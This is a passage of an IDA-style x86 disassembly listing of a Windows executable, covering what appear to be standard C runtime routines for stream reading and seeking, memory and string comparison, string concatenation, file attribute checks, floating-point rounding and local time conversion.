		pop	ebp
		retn
sub_42A188	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A1B7	proc near		; CODE XREF: sub_42A188+18p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_42A1DB
		xor	eax, eax
		jmp	loc_42A284
; ---------------------------------------------------------------------------


loc_42A1DB:				; CODE XREF: sub_42A1B7+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_42A1EE
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_42A1FA
; ---------------------------------------------------------------------------


loc_42A1EE:				; CODE XREF: sub_42A1B7+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_42A1FA
; ---------------------------------------------------------------------------


loc_42A1F7:				; CODE XREF: sub_42A1B7+C4j
		mov	ecx, [ebp+arg_0]


loc_42A1FA:				; CODE XREF: sub_42A1B7+35j
					; sub_42A1B7+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_42A22C
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_42A22C
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_42A211
		mov	edi, eax


loc_42A211:				; CODE XREF: sub_42A1B7+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_429420
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_42A277
; ---------------------------------------------------------------------------


loc_42A22C:				; CODE XREF: sub_42A1B7+49j
					; sub_42A1B7+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_42A25F
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_42A242
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_42A242:				; CODE XREF: sub_42A1B7+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_42F4BE
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42A289
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42A28F
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_42A277
; ---------------------------------------------------------------------------


loc_42A25F:				; CODE XREF: sub_42A1B7+78j
		push	esi
		call	sub_42F3E2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_42A293
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_42A277:				; CODE XREF: sub_42A1B7+73j
					; sub_42A1B7+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_42A1F7
		mov	eax, [ebp+arg_8]


loc_42A284:				; CODE XREF: sub_42A1B7+1Fj
					; sub_42A1B7+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_42A289:				; CODE XREF: sub_42A1B7+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_42A293
; ---------------------------------------------------------------------------


loc_42A28F:				; CODE XREF: sub_42A1B7+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_42A293:				; CODE XREF: sub_42A1B7+B2j
					; sub_42A1B7+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_42A284
sub_42A1B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_42A29F	proc near		; CODE XREF: sub_4032D2+4Dp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		push	esi
		call	sub_42C1D4
		push	esi
		call	sub_42A2C1
		push	esi
		mov	edi, eax
		call	sub_42C226
		add	esp, 0Ch
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42A29F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A2C1	proc near		; CODE XREF: sub_42A29F+Dp
					; sub_42A44E+2Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_42A2DD
		mov	[edi+4], ebx


loc_42A2DD:				; CODE XREF: sub_42A2C1+17j
		push	1
		push	ebx
		push	esi
		call	sub_42F8B8
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_42A34F
		mov	ecx, [edi+0Ch]
		test	cx, 108h
		jnz	short loc_42A302
		sub	eax, [edi+4]
		jmp	loc_42A41D
; ---------------------------------------------------------------------------


loc_42A302:				; CODE XREF: sub_42A2C1+37j
		mov	eax, [edi]
		mov	edx, [edi+8]
		mov	ebx, eax
		sub	ebx, edx
		test	cl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_42A33F
		mov	ebx, esi
		mov	ecx, esi
		sar	ebx, 5
		and	ecx, 1Fh
		mov	ebx, dword_676EE0[ebx*4]
		lea	ecx, [ecx+ecx*8]
		test	byte ptr [ebx+ecx*4+4],	80h
		jz	short loc_42A357
		mov	ecx, edx


loc_42A330:				; CODE XREF: sub_42A2C1+7Cj
		cmp	ecx, eax
		jnb	short loc_42A357
		cmp	byte ptr [ecx],	0Ah
		jnz	short loc_42A33C
		inc	[ebp+var_8]


loc_42A33C:				; CODE XREF: sub_42A2C1+76j
		inc	ecx
		jmp	short loc_42A330
; ---------------------------------------------------------------------------


loc_42A33F:				; CODE XREF: sub_42A2C1+50j
		test	cl, 80h
		jnz	short loc_42A357
		call	sub_42F119
		mov	dword ptr [eax], 16h


loc_42A34F:				; CODE XREF: sub_42A2C1+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_42A41D
; ---------------------------------------------------------------------------


loc_42A357:				; CODE XREF: sub_42A2C1+6Bj
					; sub_42A2C1+71j ...
		cmp	[ebp+var_4], 0
		jnz	short loc_42A365
		mov	eax, [ebp+var_8]
		jmp	loc_42A41D
; ---------------------------------------------------------------------------


loc_42A365:				; CODE XREF: sub_42A2C1+9Aj
		test	byte ptr [edi+0Ch], 1
		jz	loc_42A415
		mov	ecx, [edi+4]
		test	ecx, ecx
		jnz	short loc_42A37E
		and	[ebp+var_8], ecx
		jmp	loc_42A415
; ---------------------------------------------------------------------------


loc_42A37E:				; CODE XREF: sub_42A2C1+B3j
		sub	eax, edx
		add	eax, ecx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		lea	ebx, ds:676EE0h[eax*4]
		mov	eax, esi
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		mov	eax, [ebx]
		shl	esi, 2
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_42A40F
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_42F8B8
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_42A3D6
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_42A3C1:				; CODE XREF: sub_42A2C1+10Dj
		cmp	eax, ecx
		jnb	short loc_42A3D0
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_42A3CD
		inc	[ebp+arg_0]


loc_42A3CD:				; CODE XREF: sub_42A2C1+107j
		inc	eax
		jmp	short loc_42A3C1
; ---------------------------------------------------------------------------


loc_42A3D0:				; CODE XREF: sub_42A2C1+102j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_42A40A
; ---------------------------------------------------------------------------


loc_42A3D6:				; CODE XREF: sub_42A2C1+F6j
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_42F8B8
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_42A3FD
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_42A3FD
		test	ch, 4
		jz	short loc_42A400


loc_42A3FD:				; CODE XREF: sub_42A2C1+12Dj
					; sub_42A2C1+135j
		mov	eax, [edi+18h]


loc_42A400:				; CODE XREF: sub_42A2C1+13Aj
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_42A40A:				; CODE XREF: sub_42A2C1+113j
		jz	short loc_42A40F
		inc	[ebp+arg_0]


loc_42A40F:				; CODE XREF: sub_42A2C1+E2j
					; sub_42A2C1:loc_42A40Aj
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_42A415:				; CODE XREF: sub_42A2C1+A8j
					; sub_42A2C1+B8j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_42A41D:				; CODE XREF: sub_42A2C1+3Cj
					; sub_42A2C1+91j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42A2C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A422	proc near		; CODE XREF: sub_4032D2+47p
					; sub_4032D2+58p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	[ebp+arg_0]
		call	sub_42C1D4
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42A44E
		push	[ebp+arg_0]
		mov	esi, eax
		call	sub_42C226
		add	esp, 14h
		mov	eax, esi
		pop	esi
		pop	ebp
		retn
sub_42A422	endp


; =============== S U B	R O U T	I N E =======================================



sub_42A44E	proc near		; CODE XREF: sub_42A422+15p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_42A4CA
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_42A46D
		cmp	edi, 1
		jz	short loc_42A46D
		cmp	edi, 2
		jnz	short loc_42A4CA


loc_42A46D:				; CODE XREF: sub_42A44E+13j
					; sub_42A44E+18j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_42A484
		push	esi
		call	sub_42A2C1
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi


loc_42A484:				; CODE XREF: sub_42A44E+27j
		push	esi
		call	sub_42F2D9
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_42A499
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_42A4AD
; ---------------------------------------------------------------------------


loc_42A499:				; CODE XREF: sub_42A44E+42j
		test	al, 1
		jz	short loc_42A4AD
		test	al, 8
		jz	short loc_42A4AD
		test	ah, 4
		jnz	short loc_42A4AD
		mov	dword ptr [esi+18h], 200h


loc_42A4AD:				; CODE XREF: sub_42A44E+49j
					; sub_42A44E+4Dj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_42F8B8
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_42A4D8
; ---------------------------------------------------------------------------


loc_42A4CA:				; CODE XREF: sub_42A44E+Bj
					; sub_42A44E+1Dj
		call	sub_42F119
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh


loc_42A4D8:				; CODE XREF: sub_42A44E+7Aj
		pop	edi
		pop	esi
		retn
sub_42A44E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42A4DB	proc near		; CODE XREF: sub_42A50C+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		call	sub_42FB00
		mov	esi, eax
		test	esi, esi
		jnz	short loc_42A4E9
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42A4E9:				; CODE XREF: sub_42A4DB+Aj
		push	edi
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		call	sub_42F990
		push	esi
		mov	edi, eax
		call	sub_42C226
		add	esp, 14h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42A4DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_42A50C	proc near		; CODE XREF: sub_4032D2+31p
					; .text:0040A29Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_42A4DB
		add	esp, 0Ch
		retn
sub_42A50C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_42A520	proc near		; CODE XREF: sub_4044ED+1Dp
					; sub_404525+34Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_42A56C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_42A56D
		test	eax, 1
		jz	short loc_42A54D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_42A59A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_42A56A


loc_42A54D:				; CODE XREF: sub_42A520+20j
					; sub_42A520+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_42A59A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_42A59A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_42A54D


loc_42A56A:				; CODE XREF: sub_42A520+2Bj
					; sub_42A520+84j
		pop	edi
		pop	esi

locret_42A56C:				; CODE XREF: sub_42A520+6j
		retn
; ---------------------------------------------------------------------------


loc_42A56D:				; CODE XREF: sub_42A520+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_42A5A2
		repe cmpsd
		jz	short loc_42A5A2
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_42A595
		cmp	ch, dh
		jnz	short loc_42A595
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_42A595
		cmp	ch, dh


loc_42A595:				; CODE XREF: sub_42A520+63j
					; sub_42A520+67j ...
		mov	eax, 0


loc_42A59A:				; CODE XREF: sub_42A520+26j
					; sub_42A520+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42A5A2:				; CODE XREF: sub_42A520+55j
					; sub_42A520+59j
		test	eax, eax
		jz	short loc_42A56A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_42A595
		dec	eax
		jz	short loc_42A5C9
		cmp	dh, ch
		jnz	short loc_42A595
		dec	eax
		jz	short loc_42A5C9
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_42A595
		dec	eax


loc_42A5C9:				; CODE XREF: sub_42A520+8Fj
					; sub_42A520+96j
		pop	edi
		pop	esi
		retn
sub_42A520	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_42A5D0	proc near		; CODE XREF: sub_404525+18Ep
					; sub_404525+9EAp ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_42A641
sub_42A5D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_42A5E0	proc near		; CODE XREF: sub_40A9FE+2673p
					; sub_40A9FE+2697p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_42A5FC


loc_42A5ED:				; CODE XREF: sub_42A5E0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_42A62F
		test	ecx, 3
		jnz	short loc_42A5ED


loc_42A5FC:				; CODE XREF: sub_42A5E0+Bj
					; sub_42A5E0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_42A5FC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_42A63E
		test	ah, ah
		jz	short loc_42A639
		test	eax, 0FF0000h
		jz	short loc_42A634
		test	eax, 0FF000000h
		jz	short loc_42A62F
		jmp	short loc_42A5FC
; ---------------------------------------------------------------------------


loc_42A62F:				; CODE XREF: sub_42A5E0+12j
					; sub_42A5E0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_42A641
; ---------------------------------------------------------------------------


loc_42A634:				; CODE XREF: sub_42A5E0+44j
		lea	edi, [ecx-2]
		jmp	short loc_42A641
; ---------------------------------------------------------------------------


loc_42A639:				; CODE XREF: sub_42A5E0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_42A641
; ---------------------------------------------------------------------------


loc_42A63E:				; CODE XREF: sub_42A5E0+39j
		lea	edi, [ecx-4]


loc_42A641:				; CODE XREF: sub_42A5D0+5j
					; sub_42A5E0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_42A666


loc_42A64D:				; CODE XREF: sub_42A5E0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_42A6B8
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_42A64D
		jmp	short loc_42A666
; ---------------------------------------------------------------------------


loc_42A661:				; CODE XREF: sub_42A5E0+9Ej
					; sub_42A5E0+B8j
		mov	[edi], edx
		add	edi, 4


loc_42A666:				; CODE XREF: sub_42A5E0+6Bj
					; sub_42A5E0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_42A661
		test	dl, dl
		jz	short loc_42A6B8
		test	dh, dh
		jz	short loc_42A6AF
		test	edx, 0FF0000h
		jz	short loc_42A6A2
		test	edx, 0FF000000h
		jz	short loc_42A69A
		jmp	short loc_42A661
; ---------------------------------------------------------------------------


loc_42A69A:				; CODE XREF: sub_42A5E0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42A6A2:				; CODE XREF: sub_42A5E0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42A6AF:				; CODE XREF: sub_42A5E0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42A6B8:				; CODE XREF: sub_42A5E0+72j
					; sub_42A5E0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_42A5E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_42A6C0	proc near		; CODE XREF: sub_40541D+344p
					; sub_42B0E9+29p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	dword_43706C	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42A6E0
		call	dword_437170	; RtlGetLastWin32Error
		push	eax
		call	sub_42F0A6
		pop	ecx


loc_42A6DC:				; CODE XREF: sub_42A6C0+41j
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_42A6E0:				; CODE XREF: sub_42A6C0+Dj
		test	al, 1
		jz	short loc_42A703
		test	[esp+arg_4], 2
		jz	short loc_42A703
		call	sub_42F119
		mov	dword ptr [eax], 0Dh
		call	sub_42F122
		mov	dword ptr [eax], 5
		jmp	short loc_42A6DC
; ---------------------------------------------------------------------------


loc_42A703:				; CODE XREF: sub_42A6C0+22j
					; sub_42A6C0+29j
		xor	eax, eax
		retn
sub_42A6C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_42A706(double)

sub_42A706	proc near		; CODE XREF: sub_405C99+512p
					; sub_40A9FE+1922p ...

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_450E50
		call	sub_4303F3
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_42A78C
		call	sub_4302BB
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_42A76F
		cmp	eax, 2
		jle	short loc_42A761
		cmp	eax, 3
		jnz	short loc_42A76F
		fld	[ebp+arg_0]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		push	0Ch		; int
		call	sub_42FBC8
		add	esp, 10h
		jmp	short loc_42A7D1
; ---------------------------------------------------------------------------


loc_42A761:				; CODE XREF: sub_42A706+3Fj
		push	esi
		push	ebx
		call	sub_4303F3
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_42A7D1
; ---------------------------------------------------------------------------


loc_42A76F:				; CODE XREF: sub_42A706+3Aj
					; sub_42A706+44j
		fld	[ebp+arg_0]
		fadd	dbl_437430
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_42A7C9
; ---------------------------------------------------------------------------


loc_42A78C:				; CODE XREF: sub_42A706+2Fj
		call	sub_430280
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_42A7AF


loc_42A7A1:				; CODE XREF: sub_42A706+ACj
		push	esi
		push	ebx
		call	sub_4303F3
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_42A7D1
; ---------------------------------------------------------------------------


loc_42A7AF:				; CODE XREF: sub_42A706+99j
		test	bl, 20h
		jnz	short loc_42A7A1
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_42A7C9:				; CODE XREF: sub_42A706+84j
		call	sub_42FC1C
		add	esp, 1Ch


loc_42A7D1:				; CODE XREF: sub_42A706+59j
					; sub_42A706+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_42A706	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A7D5	proc near		; CODE XREF: sub_405C99+30Fp
					; sub_41DB6B+35p ...

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_43713C	; GetLocalTime
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_43721C	; GetSystemTime
		mov	ax, [ebp+var_16]
		cmp	ax, word_676912
		jnz	short loc_42A83A
		mov	ax, [ebp+var_18]
		cmp	ax, word_676910
		jnz	short loc_42A83A
		mov	ax, [ebp+var_1A]
		cmp	ax, word_67690E
		jnz	short loc_42A83A
		mov	ax, [ebp+var_1E]
		cmp	ax, word_67690A
		jnz	short loc_42A83A
		mov	ax, [ebp+var_20]
		cmp	ax, word_676908
		jnz	short loc_42A83A
		mov	eax, dword_676900
		jmp	short loc_42A87F
; ---------------------------------------------------------------------------


loc_42A83A:				; CODE XREF: sub_42A7D5+28j
					; sub_42A7D5+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		call	dword_437218	; GetTimeZoneInformation
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42A867
		cmp	eax, 2
		jnz	short loc_42A863
		cmp	[ebp+var_32], 0
		jz	short loc_42A863
		cmp	[ebp+var_24], 0
		jz	short loc_42A863
		push	1
		pop	eax
		jmp	short loc_42A86A
; ---------------------------------------------------------------------------


loc_42A863:				; CODE XREF: sub_42A7D5+7Aj
					; sub_42A7D5+81j ...
		xor	eax, eax
		jmp	short loc_42A86A
; ---------------------------------------------------------------------------


loc_42A867:				; CODE XREF: sub_42A7D5+75j
		or	eax, 0FFFFFFFFh


loc_42A86A:				; CODE XREF: sub_42A7D5+8Cj
					; sub_42A7D5+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_676908
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_676900, eax
		pop	esi


loc_42A87F:				; CODE XREF: sub_42A7D5+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_43046C
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_42A8AF
		mov	[ecx], eax

locret_42A8AF:				; CODE XREF: sub_42A7D5+D6j
		leave
		retn
sub_42A7D5	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A8C0	proc near		; CODE XREF: sub_405C99+33p
					; sub_405C99+D6p ...

var_10		= dword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_6769A0
		cmp	dword ptr [eax+8], 0
		jnz	short loc_42A913
		mov	al, 0FFh
		mov	edi, edi


loc_42A8DC:				; CODE XREF: sub_42A8C0+28j
					; sub_42A8C0+48j
		or	al, al
		jz	short loc_42A90E
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_42A8DC
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_42A8DC
		sbb	al, al
		sbb	al, 0FFh


loc_42A90E:				; CODE XREF: sub_42A8C0+1Ej
		movsx	eax, al
		jmp	short loc_42A98B
; ---------------------------------------------------------------------------


loc_42A913:				; CODE XREF: sub_42A8C0+16j
		lock inc dword_676EDC
		cmp	dword_676ED8, 0
		jg	short loc_42A927
		push	0
		jmp	short loc_42A93C
; ---------------------------------------------------------------------------


loc_42A927:				; CODE XREF: sub_42A8C0+61j
		lock dec dword_676EDC
		push	13h
		call	sub_42DAEF
		mov	[esp+10h+var_10], 1


loc_42A93C:				; CODE XREF: sub_42A8C0+65j
		mov	eax, 0FFh
		xor	ebx, ebx
		nop


loc_42A944:				; CODE XREF: sub_42A8C0+90j
					; sub_42A8C0+A8j
		or	al, al
		jz	short loc_42A96F
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_42A944
		push	eax
		push	ebx
		call	sub_43059D
		mov	ebx, eax
		add	esp, 4
		call	sub_43059D
		add	esp, 4
		cmp	bl, al
		jz	short loc_42A944
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42A96F:				; CODE XREF: sub_42A8C0+86j
		mov	ebx, eax
		pop	eax
		or	eax, eax
		jnz	short loc_42A97F
		lock dec dword_676EDC
		jmp	short loc_42A989
; ---------------------------------------------------------------------------


loc_42A97F:				; CODE XREF: sub_42A8C0+B4j
		push	13h
		call	sub_42DB50
		add	esp, 4


loc_42A989:				; CODE XREF: sub_42A8C0+BDj
		mov	eax, ebx


loc_42A98B:				; CODE XREF: sub_42A8C0+51j
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_42A8C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_42A990	proc near		; CODE XREF: sub_4306B8+21p
					; sub_430B07+9p
					; DATA XREF: ...
		call	sub_42A9A8
		call	sub_4306B8
		mov	dword_67691C, eax
		call	sub_430668
		fnclex
		retn
sub_42A990	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



